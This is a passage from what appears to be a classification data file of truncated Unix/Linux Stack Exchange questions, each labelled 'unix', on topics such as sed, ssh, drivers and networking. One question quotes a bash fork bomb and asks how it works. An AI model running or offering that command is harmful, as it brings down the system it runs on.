drives with a Windows history. I have a very limited number of USB ports on my machine, and want to find a cheap way ... ",['unix'] "Title: Creating an email that can trigger a script Body: I have a CentOS 6.3 server. I would like to create an email address like, for example, list@myserver.com that will be a special kind of email that will trigger a script. For example: suppose I mail ... ",['unix'] "Title: How to Get FreeBSD Grep to recognize '-' option? Body: I am using FreeBSD grep, version 2.5.1, and want to be able to have grep read the pattern from stdin. Other versions of grep I have used allow for the specification of - to enable this feature. ... ",['unix'] "Title: Playing a remote movie on the remote computer Body: I have two computers (a desktop and a laptop) running linux connected to my local area network. I like to ssh from my laptop over to my desktop and run programs there, and sometimes listen to music on ... ",['unix'] "Title: Can't boot after installing FreeBSD in VMware Workstation Body: I'm trying to install FreeBSD 9.1-i386 in VMware Workstation. I'm following the guide in the manual on freebsd.org to do this. When I come to the partitioning part I use the guided setting and it ... ",['unix'] "Title: Is it possible to get a character at terminal cursor using ANSI escape codes? Body: I know I can move the cursor with the escape codes, and I can also print at the cursor. What I'd like to know is if it is possible to pull the character under the cursor. I tried searching for such a ... ",['unix'] "Title: Fedora 18 not working on an HP Dv7 Body: I've recently installed Fedora 18 on my brand new HP Dv7 that comes with Windows 8 and secure boot. Before install Fedora I disabled secure boot in the BIOS. I've installed Fedora 18 and all is ... ",['unix'] "Title: JOIN command does not return results Body: I am trying to join 2 large files(1 file is 699M and other is 20GB). Both the files have only 2 columns. The command I am using is: join -1 2 -2 1 -t , -o 1.2,0,2.2 file1 file2. When I try the command ... ",['unix'] "Title: sed command to leave two decimals and remove the rest after comma Body: I have a numeric value, for example 19.3478 or 22.456 or 10. I would like to remove extra decimals if there are more than two decimals, so that there is never more than two decimals after the comma. ... ",['unix'] "Title: While using ssh with Gui script it is giving error Body: When I'm using the line below in script: ssh -Y user@host /home/user/xxx (xxx is gui script will open GUI window) It is giving me error as below: xauth: not found. stty: : Not a typewriter X11 ... ",['unix'] "Title: `mv` has failed because of insufficient disk space, what now? Body: I have tried to move a folder A from partition a to partition b as folder B with mv. Now the target file system was not big enough for all the data (I know I should have checked this first). Anyway, ... ",['unix'] "Title: What to do with a message/partial MIME type? Body: I used a copier/scanner to scan a document and email me the resulting image. It sent me several emails, each with a message/partial MIME attachment. mutt doesn't seem to understand these messages. ... ",['unix'] "Title: What happens when I press “Shut Down” from the GUI? Body: I have been banging my head against this for quite a while now. It's related to this question. I would like to find out exactly what happens when I choose to shut down my Linux box from the GUI. This ... ",['unix'] "Title: How to get name of Display Manager on Linux? [duplicate] Body: I want to see Display Manager name (Gnome, KDE etc.) via python or bash script. Is there any command for it as uname? (I try fedora and Debian) ",['unix'] "Title: Intel 82845G Video Crash workaround Body: I have the Intel 82845G video card and trying to get X11 working with it. It routinely crashes with artifacts. I know the existing history with this driver and X11 and I am about to buy a replacement ... ",['unix'] "Title: Why I was able to fix a broken package with aptitude but I could not with either apt-get or synaptic? Body: Yesterday I upgraded my Debian Testing and Audacious stopped to work. Troubleshooting I found that the problem was that it was updated to a recent version but the needed plugins were not. I tried to ... ",['unix'] "Title: Configure Redmine with Apache with Passenger Body: Hello I have installed redmine on Arch Linux on my Virtual box and I am successfully able to run my redmine with the help of webrick server. Now I want to run the same app from the apache with the ... ",['unix'] "Title: Errors in Syslog Body: Im getting this error on one of the server May 21 16:45:42 ERPSSO gconfd (root-24528): Failed to write ""/root/.gconf/apps/puplet/%gconf.xml"": Failed to move temporary file ... ",['unix'] "Title: Alt+tab key not working in NX client for linux Body: I am using NX clinet-3.5.0-7 version running on ubuntu 12.04. I am trying to use Alt+Tab key to switch between different terminals on my NX client but I am unable to do so. When ever I use Alt+Tab, it ... ",['unix'] "Title: How do I find out where the contents of a package are installed? Body: I ran into this bug, where Cantor can't find the sage backend if both are installed through the ubuntu package system. I can get around this bug if I know the path to the sage executable, but even ... ",['unix'] "Title: What is a process GID and what purpose does it serve? Body: Reading mod_wsgi's documentation I found you can choose which group to run the worker processes as. I can understand group ownership of files and how only a user who belongs to that group can achieve ... ",['unix'] "Title: GNU Screen weird characters on click Body: I have a small problem in GNU screen. A GNU screen session runs on my raspberry pi. Now sometimes, when I join it, if I click in the terminal (I'm using terminator on fedora) I see weird characters ... ",['unix'] "Title: Route only ssh traffic through VPN Body: Is it possible to route a computer's SSH service through a VPN connection but allow ALL other data to exit through the WAN address? What sort of iptables magic needs to be done to accomplish this? ... ",['unix'] "Title: Screenshot of non active window Body: How to take a screen shot of non active window? If I have 2 windows, I want to capture the screenshot of the one which is running in the background. ",['unix'] "Title: How to programmatically determine the highest version kernel RPM installed? Body: What I want to script is something along the lines of: if [ uname -r is not == highest version of kernel RPM installed ] then echo ""You need to reboot to use the latest kernel"" fi The problem is, ... ",['unix'] "Title: What is the best practice for adding disks in LVM Body: According to the Linux manpages you can add raw disks as well as partitions to a volume group. In other documentation (RedHat, CentOS or openSUSE), all examples refer to adding partitions to the VG ... ",['unix'] "Title: Unable to set hostname for use within network Body: I am having a lot of trouble setting up a hostname for my home server for use within my home network. My home server is running Ubuntu 12.04 LTS and all packages are up to date. Management of this ... ",['unix'] "Title: How to change the Linux Nadia splash screen? Body: I was wondering if it is possible for me to change the spash screen when Linux Mint is loading? I am talking about the logo of mint which apprears when you start the computer. If so what kind of file ... ",['unix'] "Title: System Proxy Settings [duplicate] Body: I'm troubled by many types of proxies setting. Currently I configure proxy on many places, and if I switch environment I have to unset proxies on same places. What I have to change Environment ... ",['unix'] "Title: Commandline global proxy program? Body: I'm living in China, and lots of web service is not available or stable here like Github/Bitbucket/Imgur, When I'm using wget, git or some other commandline tools, I need using a proxy. Is there any ... ",['unix'] "Title: Emacs: make portion of buffer readonly Body: I sometimes edit files in emacs where portions of the file are documentation or something else that shouldn't be edited, and another portions are ""play areas"" where I'm free to edit and create new ... ",['unix'] "Title: What do you use the -t “tag” option for in logger? Body: When using the ""logger"" command to write messages to the system logs from scripts, I use the -t ""tag"" to store the scripts name along side the message it's written to the log. I do this to make ... ",['unix'] "Title: I can't get Cinnamon to stop freezing, how can I revert it back? Body: I have an issue, and I'm unsure if it is a bug or not but here's the skinny: I updated cinnamon from 1.6.7 to 1.8 (don't get me wrong, I love it BUT!) Ever since I did the update, Cinnamon has been ... ",['unix'] "Title: How does using linux affect your career and computer skills overall? [closed] Body: so I would really love to move to linux as my only OS, i had linux installed several times(different distros) But i always go back to windows. Sad, i know Anyway I'm really into computers, i like ... ",['unix'] "Title: Portable way to get script's absolute path? Body: What is a portable way for a (zsh) script to determine its absolute path? On Linux I use something like mypath=$(readlink -f $0) ...but this is not portable. (E.g., readlink on darwin does not ... ",['unix'] "Title: How to Save X Session — ArchLinux+Openbox Body: I use Arch Linux and Openbox. How can I save the state of my current openbox/X session and later restart them? The scenario is like this: I've several browsers windows open, terminals, file ... ",['unix'] "Title: What does this code do? [duplicate] Body: I've found this code in a tweet: :(){ :|: & };: It said something about fork, but I don't completely get how it works. Could anybody please explain in detail what it does and how it works? ... ",['unix'] "Title: get free string genre id3-tag and not only genre number in bash script Body: I'd like to read the id3-genre tag within a bash script. I tried id3tool, eyeD3, etc -- but these tools just support the genre number. How to get the free string genre tag? My music players (Amarok, ... ",['unix'] "Title: Concatenating thousands of files: > vs >> Body: I found two seemingly contradictory answers on StackOverflow to the following questions: Concatenating Thousands of Text Files Across Hundreds of Directories (while keeping some structure) How do I ... ",['unix'] "Title: Command line: <<< instead of << Body: Why is the command md5sum <<< 'ddd' (output: d6d88f2e50080b9602da53dac1102762 -) right, and md5sum << 'ddd' not? What does <<< mean? ",['unix'] "Title: Remove USB flash-drive write-protection Body: I have a sports-watch which has an integrated flash-memory. This flash-memory is used to store training information. When I connect the watch to my computer using the USB cable, it's detected as ... ",['unix'] "Title: How do I detect wheter the audio cable is connected? Body: I'm using Ubuntu Lucid (10.04). In my shell script running as root I want to detect whether an audio cable (analog jack) is connected to the laptop or not. How do I do that? I don't need a portable ... ",['unix'] "Title: Matching hexadecimals with gawk Body: I have a binary file with the following content (printed in hexadecimal): $ xxd -p virus.com 5669727573b440bb0100b90500ba0000cd21 I can match the first 5 letters (which are the alphanumeric string ... ",['unix'] "Title: is there a libboost-all instead of libboost-all-dev? Body: I need libboost dependency for a package I'm running, but the only package I can find is libboost-all-dev, and I'm not sure what the ""dev"" means and if I need it. Is there a ... ",['unix'] "Title: Udev rules involving X11 don't run on startup Body: I have some udev rules written to run when I connect certain usb devices. For example, I change pointer velocity for certain mice, and change xmodmaps for particular keyboards. The scripts work well ... ",['unix'] "Title: TP-Link TL-WR1043ND as dumb access point Body: I followed these instructions on how to set up my TP-Link TL-WR1043ND as a dumb AP: Flashed brand new Attitude Adjustment 12.09-rc1 Logged into LuCI, set up a password Disabled and stopped firewall ... ",['unix'] "Title: How to use nVIDIA drivers on Ubuntu 12.04? Body: I am using Ubuntu 12.04 x64 on my ASUS G75-VW with nVIDIA GTX670M. I have installed nvidia drivers via terminal and additional drivers, terminal says nothing to upgrade, additional drivers shows that ... ",['unix'] "Title: Linux snapshotting issues [duplicate] Body: Is there any way to deal with incoming writes while a backup is in progress in linux. Example, you are writing to your sql database and lvm snapshotting at the same time. This will result in corrupted ... ",['unix'] "Title: Any other way to define an environment variable? Body: I'm quite new to Linux. Debian Wheezy is now running on my Laptop (64 bits). I recently installed Oracle 11g R2 database for evaluation purpose, and defined environment variables (such as ORACLE_SID) ... ",['unix'] "Title: Change Password of a user in /etc/shadow Body: I would like to change the password of a user in the /etc/shadow. I can't use password changing programs like passwd. It must be done by editing the /etc/shadow. The /etc/shadow is on a mounted hard ... ",['unix'] "Title: Can iptables be used to convert a single-homed host into a NAT server? Body: Given: I have a machine (HostA) with only one NIC which has Internet connectivity. I have another machine (HostB) with one NIC on the same switch. HostB is not configured for Internet access yet. ... ",['unix'] "Title: How do I set affinity of a particular thread on FreeBSD? Body: As the title says, I'm trying to figure out how to set the affinity of a particular thread (but not the entire process) on a FreeBSD system. On Linux, I'm able to do this with ps -L uH [pid], ... ",['unix'] "Title: How to make Ctrl+PgUp and Ctrl+PgDn change window tabs Body: I am running GNOME 3.4 (Debian 7.0) and my laptop (Gigabyte Q2532), unlike all those I've used before, doesn't change application tabs with CtrlPg Up and CtrlPg Dn. This forces me to use Alt0...9, ... ",['unix'] "Title: Why aren't CD image files listed when mounted in current directory? Body: When mounting a disk image in the current directory using : sudo mount -o loop -t iso9660 wall.iso ./ Listing files in current directory only returns wall.iso . To view the actual files on the disk ... ",['unix'] "Title: Accessing multiple wifi networks simultaneously from debian wheezy Body: I have got 2 wireless adapters on my machine (one built-in and the other a purchased USB wireless adapter) is there a way I can utilize different WiFi networks simultaneously? I have in mind ... ",['unix'] "Title: How to build a live Debian CD/USB in Windows, bootable in EFI mode? Body: I tried to install the latest stable Debian release (Debian 7.0 ""Wheezy"") using the Debian Multi-arch netinstall (AMD64) ""debian-7.0.0-amd64-i386-netinst.iso"" on my laptop. My laptop has a SecureCore ... ",['unix'] "Title: Setting file permissions in bash script Body: This script is not working the way I thought it would .I though it would find all the scripts that have every one rwx permissions changed to the permissions of xx5 #!/bin/bash # the / makes find ... ",['unix'] "Title: rsync certain files, excluding the rest, ignoring .svn/ directory, recursively Body: I'm using rsync to copy some files from a share to another. Recursively, I need to: Delete files at destination that were removed from the origin Only sync php and js files Exclude every other file ... ",['unix'] "Title: How do I pipe colored diff output to less? Body: I've been using git diff, which produces colored output. However, I now find I need to use ordinary diff for something, and it's producing a lot of output that is hard to read because of the lack of ... ",['unix'] "Title: compressed and uncompressed kernel on an embedded device Body: I have been using several different embedded boards that store kernel, init files, filesystem, etc. on partitions of a (micro)SD card. I notice in the example usage or instructions that compressed ... ",['unix'] "Title: What is rpc.statd, what ports should it be listening on, and how to kill it? Body: I have found rpc.statd running from a netstat -tunap command, on several ports (TCP:59061, UDP:40594, UDP:919) on my Debian server. I believe it's to do with NFS but I'm not running an nfs server ... ",['unix'] "Title: How to find files with a certain subpath? Body: I need to find all xml-files that are placed in folders named config. Also config must be somewhere under a folder named trunk. For example, I am interested in all files like below: ... ",['unix'] "Title: Atomic repo to just update Ossec and not the rest is that possible for Centos 6.4? Body: I followed this link http://www.ossec.net/?page_id=19 and enable both epel and atomic repo to install ossec. My problem is I just want a local installation of ossec so I ran this yum install ... ",['unix'] "Title: UTF-8 Characters in Byobu Screen Status Line Body: I'm running Byobu with Screen backend. I have a custom status script that wget's an RSS feed and shows the latest headline in it. If there are non-ASCII characters, they are not printed correctly. ... ",['unix'] "Title: How to set-up a online SVN server on my laptop Body: I had created a local SVN server on my laptop running Ubuntu 12.04 and its working perfectly fine. Now I want to make my laptop as server for some valid users who can access my SVN server though ... ",['unix'] "Title: Difference between Cross GCC and Linux GCC toolchain Body: While creating new C++ Project in Eclipse, I am being asked about toolchain. What is the practical difference between these toolchains - Cross GCC and Linux GCC. In what circumstances use them? Does ... ",['unix'] "Title: Emacs “jump to class definition” functionality? Body: I want to jump to a class file ""A"" from another file ""B"" which defines objects ""A"". In eclipse, it is done using F3. Is there a way to achieve this in emacs? ",['unix'] "Title: tmux with iterm2 attach a remote session Body: I'm using the tmux integrating with iterm2, which can create a tab in iterm 2 for each window created by tmux. But somehow this doesn't make much sense for the usual ssh scenario, where we first ssh ... ",['unix'] "Title: Alternatives to Nautilus that support a list of files to hide in .hidden Body: Are there any good alternatives to Nautilus that support the same .hidden file? That is a file in which I can write file and directory names, and then the file manager hides them. I have already ... ",['unix'] "Title: building/compiling kernel headers Body: I am compiling kernel 3.4 and 3.8 for different target devices. I would like to install compat wireless driver which requires kernel header. Could anyone tell me how I can compile/build the kernel ... ",['unix'] "Title: X11 forwarding not working from putty and XMing to centos 6.4 Body: I have centos 6.4 running on VirtualBox. I can connect to it via putty just fine. However X11 forwarding is not working. I Have Xming 6.9.0.31 running and putty 0.62 is setup for X11 forwarding: ... ",['unix'] "Title: How can I make window borders transparent in Gnome? Body: I want to create a GTK+ 3.0 theme (for Gnome 3.6+) that features transparent window borders. Is this possible? If so, how can I do it? ",['unix'] "Title: Slide show/screensaver over login screen on RHEL 6.4 Body: I've see the slide show (Pictures folder) screensaver. I've also seen how to change the background behind my login screen. What I haven't been able to figure out is how to display a slide show as a ... ",['unix'] "Title: Can sed remove 'double' newline characters? Body: I have a document with a lot of empty lines. How can I remove them when there are 2 or more together. I tried sed ""s/\n\n//"" file but it didn't work. No error. ",['unix'] "Title: Best Linux Distribution for Scientific Computing? [closed] Body: I recently bought a new laptop to be used for scientific research when I'm at home. The machine has Intel i7 processor with 8 cores, 4 GB of RAM, and a graphic card from Nvidia (2 GB, Ivy Bridge). The ... ",['unix'] "Title: At init, run my own script instead of the shell Body: This is purely theoretical but suppose I would like to deploy a linux distribution on many servers. The only solution I can think of would be to create an initramfs with a custom script to perform ... ",['unix'] "Title: How to lock-down input on a Linux machine? Body: We need to put out a web browser to a public place to show informations. I need to lock down all the input interfaces via software methods. So ex.: if someone plugs a USB keyboard to the machine it ... ",['unix'] "Title: udev rule not working Body: I have created a udev rules which is supposed to mount a USB device, backup some datas et cleanup everything. I am actually working on a Debian server. There is the information about my usb device ... ",['unix'] "Title: Text editor with indented word wrapping Body: I've been using Notepad++ in windows for a while and it has a cool feature for word wrapping so that the wrapped text is indented. That is the start of the sentence starts at column 1, but wrapped ... ",['unix'] "Title: Modify ulimit (open files) of a specific process Body: Is it possible to change the soft - and hard limit of a specific process? In my case, my process is mongod and a lot of web resources tell me to simply execute: ulimit -n <my new value> My ... ",['unix'] "Title: Unable to Boot into F17 Body: I was currently running Win8 and F17 as a dual boot on my home desktop with an i5 chip and Asus UEFI BIOS. Unfortunately, while I was in Win8 I accidentally removed the partition that held my F17 OS. ... ",['unix'] "Title: sed how to substitute when string has “http://” in it? Body: I have a file xx that has the following contents: @base_url = ""http://dmstaffing-stage.herokuapp.com/"" I want to use sed to eliminate this line (replace with nothing). I have used this sed ... ",['unix'] "Title: How to only substitute lines that match several patterns in sed? Body: $ echo -e 'CH12\nCH23au' | sed '/^CH/s=^=<b>=' <b>CH12 <b>CH23au I know I can match lines starting with CH by ^CH but how can I match multiple patterns? Example: Input: CH12 ... ",['unix'] "Title: POSIX head and tail not feature equivalent Body: The documentation for POSIX tail's -n option says that The origin for counting shall be 1; that is, -n +1 represents the first line of the file, -n -1 the last. So tail -n 10 (used later on the ... ",['unix'] "Title: Should I use useradd or adduser? Body: I am trying to add a new user to the system. I am confused though which command to run: useradd or adduser? ",['unix'] "Title: vsftpd virtual user read permissions Body: I have a vsftp server that services a read-only public space by anonymous login. It works fine. I need to add a few specific users that will authenticate by username/password and they will have ... ",['unix'] "Title: Is there a general command to see what shell is running? [duplicate] Body: On some the shell can be read on in the command prompt, other can be seen when help is ran. But this are not covered by all the shells. Is there a general command to see what shell is running? ",['unix'] "Title: hold, -H in xfce4-terminal (and probably other graphical wrappers for terminals) Body: To keep the overview I like to place multiple commands always in the same order and start them automatically together (gradle, git, database, scala-REPL, jboss...) -H (hold) seems to mean that the ... ",['unix'] "Title: Bash remote autocompletion : change the 'starting' directory Body: I'm regularly downloading files from a remote server, always from the same directory. So I wrote a custom function that I put in my bashrc: download_from_myserver () { for file in ""$@"" do ... ",['unix'] "Title: Can I allow users to chmod a file not owned by them? Body: I would like to allow users to chmod a file that is owned by root or some user that is not themselves. I have chmod'ed the file to 777 and I get ""operation not permitted"". I have added the user to the ... ",['unix'] "Title: Studio 12.3: language optional software package not installed Body: I installed the Solaris Studio 12.3 on Solaris 10 OS but when I check the version but it is showing below result. It is installed under /opt/SolarisStudio12.3/bin so why wrong path is coming. I ... ",['unix'] "Title: Making less print to stdout if an entire file can be displayed on one screen Body: When more is passed a file whose contents can be displayed on one screen, it just writes the file's contents to stdout without pagination. If the file cannot fit on one screen, more paginates it. ... ",['unix'] "Title: Cent OS 6.4 UEFI Dual boot Body: i'm really a beginner to Linux trying to study for RHCSA certification here. I have Windows 8 installed on UEFI BIOS. When i installed Cent OS, installation went smoothly and then after restarting, ... ",['unix'] "Title: Checking if I can reach some ports from my computer Body: Is there a terminal command or something on OSX that I can use to test if I can reach some ports on a remote server? I know these ports are reachable on that server, because I can access them from ... ",['unix'] "Title: Problem compiling a driver : “No rule to make target” Body: First of all I am running a CentOS 6.4 installation. My computer is a laptop and I am trying to install the drivers for my ethernet card, because this week end I lost my ability to connect to the ... ",['unix'] "Title: How to write a script to read wifi SSID and password from USB drive at boot up and auto logon to wifi network Body: I have an embedded system that is running Debian. I want to be able to provide wifi network SSID and password information via a USB thumb drive. That way I can easily deploy it to any wifi network. ... ",['unix'] "Title: Virtual mouse driver, possible X11 problems Body: I created virtual mouse driver according to Essential Linux Device Drivers book. After I wrote coordinates echo x y > /sys/ ... /coordinates into sysfs node, my program generates event packets ... ",['unix'] "Title: How to set proper monitoring of my services in a automated way? So that if one crash it auto on the fly restarts? Body: How can i setup monitoring to my system services? Either using automated script which scan every moment, if httpd, mysqld, and my custom daemon is running or not, if not running it will automatically ... ",['unix'] "Title: How to monitor the last PID assigned by the kernel? Body: To monitor process creation I'd like to periodically write the last PID assigned by the kernel to any process on the system (not just processes created by the PID-monitoring program) with a time stamp ... ",['unix'] "Title: Where is iptables script stored on DD-WRT filesystem? Body: I have an ASUS RT-N16 router that I've flashed with the open-source DD-WRT firmware. According to my ssh login, I'm running: DD-WRT v24-sp2 mega (c) 2010 NewMedia-NET GmbH Release: 08/07/10 (SVN ... ",['unix'] "Title: Routing 4 Networks Body: I've been trying for almost a week to make it work but without success. I'm starting to feel hopeless. I have 4 Ethernet adapters : 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state ... ",['unix'] "Title: How can I find the hardware model in Linux? Body: I used a system information utility to take the model number of a system, and also of the motherboard. DMI System Manufacturer LENOVO DMI System Product 2306CTO DMI System Version ... ",['unix'] "Title: Exclude all subdirectories except one specific path in a find command Body: I use a find command to search for all files with a given extension within the current subdirectories ignoring certain directory path: find -L . \( -wholename ""*/ignoredPath"" -o -wholename ... ",['unix'] "Title: NFS server on qemu guest Body: I need to know how I can mount block devices, placed on a qemu guest system, from host. So in this case we have NFS server placed on guest system and NFS client on the host's side. There are a lot ... ",['unix'] "Title: Is it not possible to store my local websites in my Dropbox folder? Body: I have a bunch of web sites that I develop, and I run an Apache server locally to do debugging and design. The web sites use Apache, PHP, and MySQL. To be clear, my Apache server is not serving these ... ",['unix'] "Title: New Terminal not works when we use su root Body: When I use su root and then use gnome-terminal I get warning ** (gnome-terminal:2677): WARNING **: Failed to connect to the session manager: None of the authentication protocols specified ... ",['unix'] "Title: btrfs and the discard mount option on an ssd Body: I can't seem to find an answer to this so I thought I would ask here: In /etc/fstab and when using the mount command in ext4 you would add the option discard to activate TRIM on an SSD. Similarly ... ",['unix'] "Title: So the design of client-server separation is not the bottleneck of X Window? Body: In the answer of this, it mentioned: People also hear that X uses the ""network"" and think this is going to be a performance bottleneck. ""Network"" here means local UNIX domain socket, which has ... ",['unix'] "Title: How to realign a disk on logical volume with minimum to zero down time Body: A system running un-align disk partition that needs to be aligned without loss of data on all the partition including mbr with the minimum to no down time. ",['unix'] "Title: Red hat enterprise linux how do i install apache with SSL HTTPS? i have CERTIFICATE, KEY, INTERMEDIATE (ROOT CA) from heart internet [closed] Body: How can i install SSL HTTPS in my apache webserver in Red hat enterprise linux? Only following is installed. And i have tried this website follow up but its not working it fails. $ uname -a ... ",['unix'] "Title: What is the prefered way of updating all software in a Fedora installation? Body: When I install some system, I usually look for a bulk update method, one that will update my recently-installed software. For example, in Debian, that would be changing the sources.list to point to ... ",['unix'] "Title: Online course that covers Unix/Linux Systems programming Body: I am looking for an online course, something similar to the Berkely and Stanford Courses that covers Linux systems programming. A course which could use Stevens ( with some supplemental material ... ",['unix'] "Title: Writing on NTFS drives (on Debian Wheezy) Body: I am currently setting up a personal server on Debian Wheezy. My machine is an ARM based architecture (Cubox). The problem appear when I want to mount and use my NTFS external hard drives. The mount ... ",['unix'] "Title: Why doesn't the ssh command follow RFC on URI? Body: The RFC: Uniform Resource Identifier (URI) Scheme for Secure File Transfer Protocol (SFTP) and Secure Shell (SSH) presents the SSH URI as: ssh://[<user>[;fingerprint=<host-key ... ",['unix'] "Title: Test for monitor resolutions Body: I want to buy a new display device, but I don't know if it will be supported by my card because the weirder/higher resolutions: 2560 x 1080, or 2560 x 1440. Is there any method to create a virtual ... ",['unix'] "Title: How can a version of a package conflict with itself? Body: I want to install fillup and get: rpm -i fillup-1.42-268.1.x86_64.rpm file /usr/bin/fillup conflicts between attempted installs of \ fillup-1.42-268.1.x86_64 and fillup-1.42-268.1.x86_64 ... ",['unix'] "Title: Excluding kernel modules through /etc/modprobe.d/blacklist.conf does not work Body: I don't want to load the kernel module nouveau on my debian box at startup, so I put the following in /etc/modprobe.d/blacklist.conf: blacklist ttm blacklist drm blacklist nouveau I even did a ... ",['unix'] "Title: How to use output of one command as input in another command Body: I made a copy of all the backups made on Wed of every week The time stamp of each file is not sorted but the day is Wednesday of every file Now, I need to sort each file based on time Stamp e.g if ... ",['unix'] "Title: Can I see what HDD I have installed? [duplicate] Body: I use lspci for pci devices and lsusb to list the usb hardware devices, is there something similar to list my SATA HDD model ? ",['unix'] "Title: what does the linux standard base specify about the kernel? Body: I was taking a look at the linux standard base (lsb) and could not find much interesting info on the kernel. Does the lsb specify anything at all about the kernel or kernel interface? Is it kernel ... ",['unix'] "Title: How to use better driver (nouveau) instead of generic VESA with NVIDIA Quadro NVS 140M? Body: I've got laptop with NVIDIA Quadro NVS 140M and have no Gnome-shell which I like very well. I use: Debian GNU/Linux jessie /sid \n \l When I run Debian as live USB everything works fine. How to ... ",['unix'] "Title: What is the meaning of “\_” in output of 'ps ef'? Body: When I executed ps ef command in a linux server, I saw that one of the command starts with \_. For example, \_ /bin/sh /usr/ Could any one please let me know what is the meaning of \_ in this ... ",['unix'] "Title: How to install Ruby 1.9.3 on Arch? Body: The wiki suggests using $sudo pacman -S ruby1.9 but the package isn't there... I'd rather not compile it from source but I can if no one knows. ",['unix'] "Title: Virtual Interface Not Showing up in ifconfig? Body: I am trying to create a virtual interface for the purpose of NameBased Virtual Hosting on my CentOS linux box; please find below is the devices' information:- DEVICE=eth0 BOOTPROTO=dhcp ... ",['unix'] "Title: Init gix-annex additional repo with existing files Body: I configured git-annex to keep track of a directory containing several GB of data. Its content is replicated on an S3 remote, so I can drop some files to free some space and get them back when I need ... ",['unix'] "Title: unable to connect intex 3.5g modem in ubuntu 12.04 Body: Can anyone help me out on connecting usb modem in ubuntu? Here are the steps i have followed, initially it is recognized as a storage device and the modprobe cmd does not create any impact on it ... ",['unix'] "Title: Linux/GParted can see partition table but dd bs=512 count=1 can't Body: I have an MBR formatted sd card and when connect to a Linux machine (xubuntu 12.04) it can mount a partition and parse the file system (as can GParted). However, when I try to read the MBR from the ... ",['unix'] "Title: Install new packages on old unmaintained computer Body: We have an ancien server (Fedora Core 4) installed in 2005. This server had never been updated. It runs a special software allowing to monitor a production line without being connected directly to the ... ",['unix'] "Title: Sort using custom pattern Body: Is there a way to output file's contents using custom patterns? For instance, having a file myfile with following contents: a d b c ..how would one sort it using following pattern: print lines ... ",['unix'] "Title: Splitting large PDF into small files Body: Using pdftk it is possible to extract page ranges from a pdf using pdftk a.pdf cat 124-end output b.pdf dont_ask I have a bunch of huge PDFs with about 500 pages and over 100 MB, is it possible to ... ",['unix'] "Title: unable to segment theora vorbis video file with ffmpeg Body: i am trying to split ogg video into 10 sec ogg video segments with ffmpeg segmenter. ffmpeg -i www/VideoPlayer/Videos/wr3libvorbis.ogg -map 0 -f segment -segment_time 10 -segment_list ... ",['unix'] "Title: How should I format a USB prior to writing an ISO to it? Body: I found these Debian EeePC HowToInstallUsingStandardInstaller instructions at the Debian Wiki, stating that I can install an ISO to a USB using this: dd if=debian-*-netinst.iso of=/dev/sdX Do I ... ",['unix'] "Title: Install man pages in directory with update-alternatives Body: Using update-alternatives(8) on a Debian system it is possible to add man pages as slaves under some master alternative. For example, the following command installs an alternative man page tclsh.1 ... ",['unix'] "Title: ssh/scp works but rsync just constantly says “no” Body: Hi I have a windows 2003 server that I need to back up onto a linux client so I install cygwin on the Win2k3. On the Win2k3 I have enabled ssh, scp but (because the Win2k3 server uses an customised ... ",['unix'] "Title: checking data in columns when a data or some may be missing or present? Body: I am not sure if this possible. say i have columns like : Team Colour Game Rainfall PlayerName XYZ Blue Cricket Yes Kapil suppose i need to search ... ",['unix'] "Title: Clearing/modifying previous libnotify notifications? Body: I have written a script which generates notifications like this: notify-send -i audio-card ""Transferring audio playback to speakers."" \ ""Audio playback has been transferred to the analog output ... ",['unix'] "Title: how to keep file owner same for newly created files Body: This question is regarding samba file access. I have created a folder A, and under folder A created two folders B and C. And also created three users A, B and C. User A has access to all three ... ",['unix'] "Title: Vim syntax highlight length-delimited fields Body: I'm trying to write a vim syntax file for SVN dump files. The part I can't figure out is the section like this: Fooprop: Val1 Text-content-length: 20 Barprop: Val2 ... ",['unix'] "Title: Adding a user to a group by default Body: I have a group that all users on the system share. The group name is common and it is to allow for a universal fileshare for everyone on the machine. How would I make it so that all new users are ... ",['unix'] "Title: Can bash case statements cascade? Body: I'm trying to do something like this: case $level in 3) echo ""Level Three"" 2) echo ""Level Two"" 1) echo ""Level one"" ;; esac where if $level = 3, it ... ",['unix'] "Title: How does X-server calculate DPI? Body: From Xfce Docs: In case you want to override the DPI (dots per inch) value calculated by the X-server, you can select the checkbox and use the spin box to specify the resolution to use when ... ",['unix'] "Title: Anti Aliased Fonts with NoMachine NX Body: I am running nx server on a headless ubuntu server. Its desktop is to Unix -> Custom -> Emacs which gives me an Emacs window on the local machine. The only thing that does not work as expected is the ... ",['unix'] "Title: centos httpd.conf set different ip for a directory Body: I have 3 IPs in my server, i want use them to increase twitter API limits. How to set a different ip for a directory in centos 6.1 httpd.conf (apache 2.3.1) I added these line in the bottom of ... ",['unix'] "Title: Install Linux Mint 14 from CLI Body: I'm trying to install Linux Mint 14 from a live cd on a HP Pavilion laptop. I got some problem with X and the nvidia card, which prevents X from starting (and therefore prevents the live installer ... ",['unix'] "Title: Parallels Plesk10 problem with update/upgrade Body: I get errors when I would update my Server or install php,mysql... with Plesk... I have debian06 installed. Here the Error that I get when I would install pp10: Operation with the Container ... ",['unix'] "Title: Chaining mysqldumps commands to output a single gzipped file Body: Let's say I have these series of commands mysqldump --opt --databases $dbname1 --host=$dbhost1 --user=$dbuser1 --password=$dbpass1 mysqldump --opt --databases $dbname2 --host=$dbhost1 --user=$dbuser1 ... ",['unix'] "Title: Ambiguously named executables Body: It appears that in tcsh if I have ambiguously named executables in two separate folders in the $PATH it directs to the one in the most recently created folder. Am I correct? And is this always true? ... ",['unix'] "Title: “provide net” in gentoo init script doesn't work as I thought Body: I'm running into a strange (to me) problem. I'm running a gentoo with two net interfaces: enp5s0 (wired interface) and wlan0 (wifi). When I try to run a program, for example openvpn, from its script ... ",['unix'] "Title: Cannot make anyfs-tools. My e2fslibs package seems not to be the compatible version Body: anyfs-tools promises to convert a ntfs partition into ext3. That's what I want to do. (I have backed up what was necessary). But when I try to compile anyfs-tools I get a make compilation error ... ",['unix'] "Title: Dual boot - Kubuntu and Windows 8 - how to? Body: I recently installed Windows 8 on my computer. These are the specs: Fx-8150 CPU 8 GB RAM ATI HD7870 120 GB SSD 2 TB HDD Mainboard: Gigabyte GA-970A-UD3 (rev 1.1) (only bios but EFI mode possible ... ",['unix'] "Title: Unable to connect Intex 3.5g modem in Ubuntu 11.04 [duplicate] Body: When I try to connect Intex USB modem firstly it is not displayed as a USB modem in networking panel. Then afterwards wen I try to manually add it, I get errors I have tried gnome-ppp and ... ",['unix'] "Title: include a binded folder for each new users created Body: In a nutshell, my ftp server consists of 2 folders for each individual users. so john has this on his directory /home +/john +/pub <-- binded to /var/ftp +/private my 